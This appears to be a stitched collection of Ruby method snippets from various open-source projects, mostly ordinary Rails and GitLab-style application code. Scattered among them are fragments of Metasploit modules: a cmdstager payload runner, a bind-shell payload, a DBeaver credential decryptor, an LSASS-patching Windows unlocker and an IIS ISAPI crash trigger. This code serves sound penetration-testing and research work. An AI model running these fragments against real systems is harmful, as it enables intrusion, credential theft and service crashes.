      print_status('Executing the payload...')
      send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, @payload_name)
      }, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload
    else
      print_status("Executing the payload via a series of HTTP GET requests to `/#{@payload_name}?#{@shell_cmd_name}=<command>`")
      execute_cmdstager(background: true)
    end
  end


def self.screenshots_list(path, locale, device)
        return warning_detected("screenshots folder not found") unless Dir.exist?("#{path}/#{locale}")
        list = Dir.entries("#{path}/#{locale}") - ['.', '..']
        list.map do |screen|
          next if screen.match(device).nil?
          "#{path}/#{locale}#{screen}" unless Dir.exist?("#{path}/#{locale}#{screen}")
        end.compact
      end


def exploit
    if target.bruteforce?
      bf = target.bruteforce

      if datastore['StartBrute'] && (datastore['StartBrute'] > 0)
        bf.start_addresses['libgcrypt_base'] = datastore['StartBrute']
      end

      if datastore['StopBrute'] && (datastore['StopBrute'] > 0)
        bf.stop_addresses['libgcrypt_base'] = datastore['StopBrute']
      end

      if bf.start_addresses['libgcrypt_base'] > bf.stop_addresses['libgcrypt_base']
        raise ArgumentError, 'StartBrute should not be larger than StopBrute'
      end
    end
    super
  end


def change
    safety_assured do
      remove_column :ahoy_messages, :opened_at
    end
  end


def request_cache_key(&block)
        if block
          self.request_cache_key_block = block
        else
          request_cache_key_block
        end
      end


def send(payload = '')
    packet = make_ip_header([[ @version+'0101', 'B8' ],            # version, hlen
                              [ 0, 'C' ],                          # tos
                              [ @tot_lenght + payload.size, 'n' ], # total len
                              [ @id, 'n' ],                        # id
                              [ 0, 'n' ],                          # flags, offset
                              [ 64, 'C' ],                         # ttl
                              [ @protocol, 'C' ],                  # protocol
                              [ 0, 'n' ],                          # checksum
                              [ @src_addr.to_i, 'N' ],             # source
                              [ @dest_addr.to_i, 'N' ],            # destination
                            ])
    packet << make_transport_header(payload.size)
    packet << [payload].pack("a*")
    @socket.send(packet,0,@to)
  end


def validate_phase_active_in_project
      if model.project.present? &&
        model.project_phase_definition_id.present? &&
        model.project_phase_definition_changed? &&
        !project_definition_assignable?
        errors.add :project_phase_id, :inclusion
      end
    end


def extending!(*modules, &block) # :nodoc:
      modules << Module.new(&block) if block
      modules.flatten!

      self.extending_values |= modules
      extend(*extending_values) if extending_values.any?

      self
    end


def test_validates_comparison_of_multiple_values
    Topic.validates_comparison_of :approved, other_than: 17, greater_than: 13

    assert_invalid_values([12, nil, 17])
    assert_valid_values([15])
  end


def merge_requests_visible_to_user(user)
    memoize_per_user(user, :merge_requests_visible_to_user) do
      MergeRequestsFinder.new(user, issues_finder_params)
        .execute.where(milestone_id: milestoneish_id)
    end
  end


def describe_table(table_name, database = :main, configuration = ClickHouse::Client.configuration)
    ClickHouse::Client
      .select("DESCRIBE TABLE #{table_name} FORMAT JSON", database, configuration)
      .map(&:symbolize_keys)
      .index_by { |h| h[:name].to_sym }
  end


def test_perform_job_logging_when_job_is_not_enqueued
    perform_enqueued_jobs do
      LoggingJob.perform_now "Dummy"

      assert_match(/Performing LoggingJob \(Job ID: .*?\) from .*? with arguments:.*Dummy/, @logger.messages)
      assert_no_match(/enqueued at /, @logger.messages)
    end
  end


def visual_media_params
    params[:message][:photo].presence&.last ||
      params.dig(:message, :sticker, :thumb).presence ||
      params[:message][:video].presence ||
      params[:message][:video_note].presence
  end


def hash
          TypeMetadata.hash ^
            __getobj__.hash ^
            oid.hash ^
            fmod.hash
        end


def set_content_type(file)
    self.content_type = self.class.content_type_for(file.path)
  end


def document_root_element
        html_document.root
      end


def use_work_package(links:, params:)
        work_package = WorkPackage.find_by(id: work_package_id_from_links(links))
        return work_package_not_found_result if work_package.nil?

        ::WorkPackages::UpdateService
          .new(user:, model: work_package)
          .call(**params)
      end


def all_pages(&block)
        return next_pages(count: nil, &block)
      end


def arg_host_range(arg, host_ranges, required=false)
    if (!arg and required)
      print_error("Missing required host argument")
      return false
    end
    begin
      rw = Rex::Socket::RangeWalker.new(arg)
    rescue
      print_error("Invalid host parameter, #{arg}.")
      return false
    end

    if rw.valid?
      host_ranges << rw
    else
      print_error("Invalid host parameter, #{arg}.")
      return false
    end
    return true
  end


def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Unix Command Shell, Bind TCP (inetd)',
        'Description' => 'Listen for a connection and spawn a command shell (persistent)',
        'Author' => 'hdm',
        'License' => MSF_LICENSE,
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Handler' => Msf::Handler::BindTcp,
        'Session' => Msf::Sessions::CommandShell,
        'PayloadType' => 'cmd',
        'Privileged' => true,
        'RequiredCmd' => 'inetd',
        'Payload' => {
          'Offsets' => {},
          'Payload' => ''
        }
      )
    )
    register_advanced_options(
      [
        OptString.new('InetdPath', [true, 'The path to the inetd executable', 'inetd']),
        OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])
      ]
    )
  end


def decrypt_dbeaver_credentials(credentials_config_data)
        aes = OpenSSL::Cipher.new('AES-128-CBC')
        begin
          aes.decrypt
          aes.key = AES_KEY
          plaintext = aes.update(credentials_config_data)
          plaintext << aes.final
        rescue OpenSSL::Cipher::CipherError => e
          raise Error::DecryptionError, 'Unable to decrypt dbeaver credentials'
        end
        return plaintext[plaintext.index('{"')..]
      end


def check_oj
    check_methods :Oj, :object_load # Always unsafe, regardless of mode

    unsafe_mode = :object
    safe_default = oj_safe_default?

    tracker.find_call(:target => :Oj, :method => :load).each do |result|
      call = result[:call]
      options = call.second_arg

      if options and hash? options and mode = hash_access(options, :mode)
        if symbol? mode and mode.value == unsafe_mode
          check_deserialize result, :Oj
        end
      elsif not safe_default
        check_deserialize result, :Oj
      end
    end
  end


def form_enabled_for_sign_in?(provider)
    return true unless provider.to_s.match?(LDAP_PROVIDER)

    ldap_sign_in_enabled?
  end


def follow_request
    locale_for_account(@me) do
      mail subject: default_i18n_subject(name: @account.acct)
    end
  end


def start
      @thread ||= safe_thread("#{config.name}/processor", &method(:run))
    end


def sort_header_tag(column, allowed_params: nil, **)
    with_sort_header_options(column, with_title: true, allowed_params:, **) do |col, cap, default_order, **opts|
      sort_link(col, cap, default_order, **opts)
    end
  end


def stub_kubeclient_pod_details(pod, namespace, status: nil)
    stub_kubeclient_discover(service.api_url)

    pod_url = service.api_url + "/api/v1/namespaces/#{namespace}/pods/#{pod}"
    response = { status: status } if status

    WebMock.stub_request(:get, pod_url).to_return(response || kube_pod_response)
  end


def linear_redirect_uri
    "#{ENV.fetch('FRONTEND_URL', nil)}/app/accounts/#{account.id}/settings/integrations/linear"
  end


def action_title(url)
    return unless url

    %w[merge_requests issues work_items commit wikis].each do |action|
      return "View #{action.humanize.singularize}" if url.split("/").include?(action)
    end

    nil
  end


def initialize(object, keys: %w[base], **system_arguments)
    super

    @errors = object.errors
    @keys = keys
    @system_arguments = system_arguments
  end


def build_full_uri(path, env)
          "#{env['rack.url_scheme']}://#{env['SERVER_NAME']}:#{env['SERVER_PORT']}#{path}"
        end


def classification
            return nil unless forwarded_rest_arg || forwarded_kwrest_arg || forwarded_block_arg

            if ruby_32_only_anonymous_forwarding?
              :all_anonymous
            elsif can_forward_all?
              :all
            else
              :rest_or_kwrest
            end
          end


def emit_stream(tag, es)
        @event_streams << es
        @emit_streams << [tag, es.to_a]
      end


def test_data_source_exists?
      assert @connection.data_source_exists?("accounts")
      assert @connection.data_source_exists?(:accounts)
      assert_not @connection.data_source_exists?("nonexistingtable")
      assert_not @connection.data_source_exists?("'")
      assert_not @connection.data_source_exists?(nil)
    end


def incomplete?
      COMPLETED_STATUSES.exclude?(status)
    end


def deserialize(key, value, return_array)
      return value unless type = self.type

      array = nil

      if array_type?
        type = type[0]
        array = true if return_array
      end

      result =
        case type
        when :boolean
          !!Helpers::CUSTOM_FIELD_TRUE.include?(value)
        when :integer
          value.to_i
        when :json
          parse_json_value(value, key)
        else
          value
        end

      array ? [result] : result
    end


def default_branch?
      strong_memoize(:default_branch) do
        [nil, branch_name].include?(project.default_branch)
      end
    end


def p(lib, offset)
    [(lib + offset).to_s(16)].pack('H*').reverse
  end


def web_ide_terminal_route_generator(action, options = {})
    options.reverse_merge!(
      action: action,
      controller: 'projects/web_ide_terminals',
      namespace_id: project.namespace.to_param,
      project_id: project.to_param,
      id: build.id,
      only_path: true
    )

    url_for(options)
  end


def render?
      permission = @meeting.persisted? ? :edit_meetings : :create_meetings
      @project ? User.current.allowed_in_project?(permission, @project) : User.current.allowed_in_any_project?(permission)
    end


def with_new_plugin(plugin_path, *args, &block)
    generate_plugin(plugin_path, *args)
    in_plugin_context(plugin_path, &block)
  end


def config_files_osx
    config_path = '/Library/WowzaStreamingEngine/conf/admin.password'
    exists?(config_path) ? [config_path] : []
  end


def check_conn?
    begin
      res = send_request_cgi('uri' => '/', 'method' => 'GET')
      if res
        vprint_good("Server is responsive...")
        return true
      end
    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
    end
    false
  end


def on_or_asgn(node)
          rhs = node.expression

          return unless bad_rhs?(rhs)

          add_offense(node) do |corrector|
            if style == :keyword
              keyword_autocorrect(rhs, corrector)
            else
              corrector.replace(rhs.loc.begin, '(')
              corrector.replace(rhs.loc.end, ')')
            end
          end
        end


def write_config(package_dir, extras: {})
  package_dir = Pathname.new(package_dir)
  namespaces = { **CORE_NAMESPACES, **extras }
  config = {
    "compilerOptions" => {
      "target" => "es2021",
      "module" => "esnext",
      "moduleResolution" => "bundler",
      "experimentalDecorators" => true,
      "allowJs" => true,
      "paths" => {
        **namespaces
          .map { |ns, paths| [ns, paths.map { |p| "#{relative(package_dir, p)}/*" }] }
          .to_h,
      },
    },
    "include" => namespaces.flat_map { |ns, paths| paths.map { |p| relative(package_dir, p) } },
    "exclude" => [
      "frontend/discourse/tests/unit/utils/decorators-test.js", # Native class decorators - unsupported by ts/glint
    ],
  }

  output = <<~JSON
    // This file was generated by script/build_jsconfig.rb
    #{JSON.pretty_generate(config)}
  JSON

  File.write("#{package_dir}/jsconfig.json", output)
end


def decrypt(ciphertext_and_mac, key, msg_type)
            ki = derive(key, [msg_type, 0x55].pack('NC'))
            ke = derive(key, [msg_type, 0xAA].pack('NC'))

            raise Rex::Proto::Kerberos::Model::Error::KerberosError, 'Ciphertext too short' if ciphertext_and_mac.length < (self.class::BLOCK_SIZE + self.class::MAC_SIZE)

            ciphertext = ciphertext_and_mac.slice(0..-(self.class::MAC_SIZE+1))
            mac = ciphertext_and_mac[-self.class::MAC_SIZE, self.class::MAC_SIZE]

            plaintext = decrypt_basic(ciphertext, ke)
            hmac = OpenSSL::HMAC.digest(self.class::HASH_FUNCTION, ki, plaintext)
            hmac_subset = hmac[0, self.class::MAC_SIZE]
            if mac != hmac_subset
                raise Rex::Proto::Kerberos::Model::Error::KerberosError, 'HMAC integrity error'
            end

            # Discard the confounder.
            plaintext[self.class::BLOCK_SIZE, plaintext.length]
          end


def up
    with_lock_retries do
      remove_column(:application_settings, :encrypted_openai_api_key, if_exists: true)
      remove_column(:application_settings, :encrypted_openai_api_key_iv, if_exists: true)
      remove_column(:application_settings, :encrypted_anthropic_api_key, if_exists: true)
      remove_column(:application_settings, :encrypted_anthropic_api_key_iv, if_exists: true)
      remove_column(:application_settings, :encrypted_vertex_ai_credentials, if_exists: true)
      remove_column(:application_settings, :encrypted_vertex_ai_credentials_iv, if_exists: true)
      remove_column(:application_settings, :encrypted_vertex_ai_access_token, if_exists: true)
      remove_column(:application_settings, :encrypted_vertex_ai_access_token_iv, if_exists: true)
    end
  end


def user_posted(user, opts)
    opts[:allow_reply_by_email] = true
    opts[:use_site_subject] = true
    opts[:add_re_to_subject] = true
    opts[:show_category_in_subject] = true
    opts[:show_tags_in_subject] = true
    notification_email(user, opts)
  end


def request
        get api(path)
      end


def self.default_behavior
      Rails.env.production? ? [] : [proc_for_default_log, ActiveSupport::Deprecation::DEFAULT_BEHAVIORS[:stderr]]
    end


def test_singleton_resource_has_only_update_action_and_named_route
    with_routing do |set|
      set.draw do
        resource :account, only: :update
      end

      assert_singleton_resource_allowed_routes("accounts", {},                    :update, [:new, :create, :show, :edit, :destroy])
      assert_singleton_resource_allowed_routes("accounts", { format: "xml" },  :update, [:new, :create, :show, :edit, :destroy])

      assert_not_nil set.named_routes[:account]
    end
  end


def test_fetching_associated_ids_will_populate_the_value_if_the_record_isnt_from_the_cache
    assert_equal([2, 1], @record.fetch_associated_record_ids)
  end


def on_case(case_node)
          case_node.when_branches.each do |when_node|
            check_indentation(when_node.loc.keyword, when_node.body)
          end

          check_indentation(case_node.when_branches.last.loc.keyword, case_node.else_branch)
        end


def initialize(args, local_options, *)
        super

        @original_options = local_options - %w( --restart )
      end


def set_attributes(params)
    set_filters(params.delete(:filters))
    set_order(params.delete(:orders))
    set_select(params.delete(:selects))

    super
  end


def create_processable(type, name, status, stage, **opts)
    create(
      type,
      name: name,
      status: status,
      ci_stage: stage,
      stage_idx: stage.position,
      pipeline: pipeline,
      **opts
    ) do |_job|
      ::Ci::ProcessPipelineService.new(pipeline).execute
    end
  end


def test_utc_offset_is_not_cached_when_current_period_gets_stale
    tz = ActiveSupport::TimeZone.create("Moscow")
    travel_to(Time.utc(2014, 10, 25, 21)) do # 1 hour before TZ change
      assert_equal 14400, tz.utc_offset, "utc_offset should be initialized according to current_period"
    end

    travel_to(Time.utc(2014, 10, 25, 22)) do # after TZ change
      assert_equal 10800, tz.utc_offset, "utc_offset should not be cached when current_period gets stale"
    end
  end


def import_group_members
    puts "", "importing group members..."

    csv_parse("group_members") do |row|
      user_id = user_id_from_imported_user_id(row.userid)
      group_id = group_id_from_imported_group_id(row.groupid)

      GroupUser.find_or_create_by(user_id: user_id, group_id: group_id) if user_id && group_id
    end
  end


def filter_link_class(new_url)
    filtered_url_for(controller_request_params) == new_url ? 'selected' : ''
  end


def run
    connect_login
    file = datastore['FILE']
    res = send_cmd(['FOLD', file], true)

    if (res =~ /#1 messages in/)
      send_cmd(['READ 1'], true)
      file_output = send_cmd(['RETR'], true)
      print_status("File output:\r\n\r\n#{file_output}\r\n")
      send_cmd(['ACKS'], true)
    elsif (res =~ /#0 messages in/)
      print_status("File #{file} not found or read-access is denied.")
    end

    send_cmd(['QUIT'], true)
    disconnect
  end


def hook_ssl_verification
      if respond_to?(:enable_ssl_verification)
        enable_ssl_verification
      else
        true
      end
    end


def uri_escape_path(path)
            path.gsub(%r{[^/]+}) { |part| uri_escape(part) }
          end


def self.replace_text(text)
    return text if text.blank?
    replace(text, :replace)
  end


def stub_parallelize_with_progress!
    allow(cli).to receive(:parallelize_with_progress) do |scope, &block|
      aggregate = 0
      total = 0

      scope.reorder(nil).find_each do |record|
        value = block.call(record)
        aggregate += value if value.is_a?(Integer)
        total += 1
      end

      [total, aggregate]
    end
  end


def default_s3_options
    if SiteSetting.enable_s3_uploads?
      options = self.class.s3_options(SiteSetting)
      check_missing_site_options
      options
    elsif GlobalSetting.use_s3?
      self.class.s3_options(GlobalSetting)
    else
      {}
    end
  end


def purge_statuses!
    @account.statuses.reorder(nil).where.not(id: reported_status_ids).in_batches do |statuses|
      BatchedRemoveStatusService.new.call(statuses, skip_side_effects: skip_side_effects?)
    end
  end


def test_process_with_session_kwarg
    process :no_op, method: "GET", session: { "string" => "value1", symbol: "value2" }
    assert_equal "value1", session["string"]
    assert_equal "value1", session[:string]
    assert_equal "value2", session["symbol"]
    assert_equal "value2", session[:symbol]
  end


def deprecated_alias(old_method, new_method)
    define_method(old_method) do |*args, **kwargs, &block|
      OpenProject::Deprecation.replaced(old_method, new_method, caller_locations)
      send(new_method, *args, **kwargs, &block)
    end
  end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Escalate Locked Desktop Unlocker',
        'Description' => %q{
          This module unlocks a locked Windows desktop by patching
          the respective code inside the LSASS.exe process. This
          patching process can result in the target system hanging or
          even rebooting, so be careful when using this module on
          production systems.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'L4teral <l4teral[4t]gmail com>', # Meterpreter script
          'Metlstorm' # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16
        ],
        'References' => [
          ['URL', 'http://www.storm.net.nz/projects/16'],
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_process_attach
              stdapi_sys_process_memory_read
              stdapi_sys_process_memory_write
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_OS_DOWN],
          'SideEffects' => [SCREEN_EFFECTS],
          'Reliability' => []
        }
      )
    )

    register_options([
      OptBool.new('REVERT', [false, 'Enable this option to revert the in-memory patch and enable locking again', false])
    ])
  end


def by_topic_id(items)
    return items unless params[:topic_id].present?

    topic = Projects::Topic.find_by_id(params[:topic_id])
    return items.none unless topic

    items.with_topic(topic)
  end


def create_commit!
      repository.create_dir(
        current_user,
        @file_path,
        message: @commit_message,
        branch_name: @branch_name,
        author_email: @author_email,
        author_name: @author_name,
        start_project: @start_project,
        start_branch_name: @start_branch)
    end


def run_runner_blocks(app) # :nodoc:
      railties.each { |r| r.run_runner_blocks(app) }
      super
    end


def each(&b)
      @ary.each(&b)
    end


def request
    options.fetch(:request, nil)
  end


def setup
    @david = authors(:david)
    @thinking = posts(:thinking)
    @authorless = posts(:authorless)
    assert_empty @david.post_log
  end


def create_todos_retaining_exclusions(inspected_cop_config)
        inspected_cop_config.each do |cop_name, config|
          todo = @todos[cop_name]
          excluded_files = config['Exclude'] || []
          todo.add_files(excluded_files.grep(RETAIN_EXCLUSIONS))
        end
      end


def validate_target_project
    return true if target_project.merge_requests_enabled?

    errors.add :base, 'Target project has disabled merge requests'
  end


def run
    server_ip = datastore['RHOST']
    if (datastore['RPORT'].to_i != 80)
      server_ip += ':' + datastore['RPORT'].to_s
    end
    isapi_uri = datastore['ISAPI']

    # Create a stale pointer using the vulnerability
    print_status('Causing the ISAPI dll to be loaded and unloaded...')
    unload_trigger = 'POST ' + isapi_uri + " HTTP/1.0\r\n" \
                     "Pragma: no-cache\r\n" \
                     "Proxy-Connection: Keep-Alive\r\n" \
                     'Host: ' + server_ip + "\r\n" \
                     "Transfer-Encoding: chunked\r\n" \
                     "Content-Length: 40334\r\n\r\n" +
                     Rex::Text.rand_text_alphanumeric(128..255)
    connect
    sock.put(unload_trigger)
    disconnect

    # Now make the stale pointer get used...
    print_status('Triggering the crash ...')
    data = Rex::Text.rand_text_alphanumeric(1337..1592)
    crash_trigger = 'POST ' + isapi_uri + " HTTP/1.0\r\n" \
                    'Host: ' + server_ip + "\r\n" \
                    "Content-Length: #{data.length}\r\n\r\n" +
                    data

    connect
    sock.put(crash_trigger)
    disconnect
  end


def initialize(collaborator, project, client)
          @collaborator = collaborator
          @project = project
          @client = client
          @members_finder = ::MembersFinder.new(project, project.creator)
        end


def execute
      # TODO: remove this with the release creation moved to it's own form https://gitlab.com/gitlab-org/gitlab/-/issues/214245
      return params[:evidence_pipeline] if params[:evidence_pipeline]

      sha = existing_tag&.dereferenced_target&.sha
      sha ||= repository&.commit(ref)&.sha

      return unless sha

      project.ci_pipelines.for_sha(sha).last
    end


def validate_value_required(errors)
    if required? && values.empty?
      errors.add :actions,
                 :empty,
                 name: human_name
    end
  end


def schedule_post_trial_emails
    Users::MailerSendingJob.set(wait: 9.days).perform_later(id, 'post_trial_reminder_early')
    Users::MailerSendingJob.set(wait: 14.days).perform_later(id, 'post_trial_reminder_late')
  end


def original_value(attr_name)
      attributes[attr_name].original_value
    end


def delete
      delete_object(object_storage_path)

      self.class.with_redis do |redis|
        redis.hdel(self.class::KEY, redis_key)
        self.class.log_event(:deleted, redis_key)
      end
    end


def execute(merge_request)
      super do
        add_system_note(merge_request)
      end
    end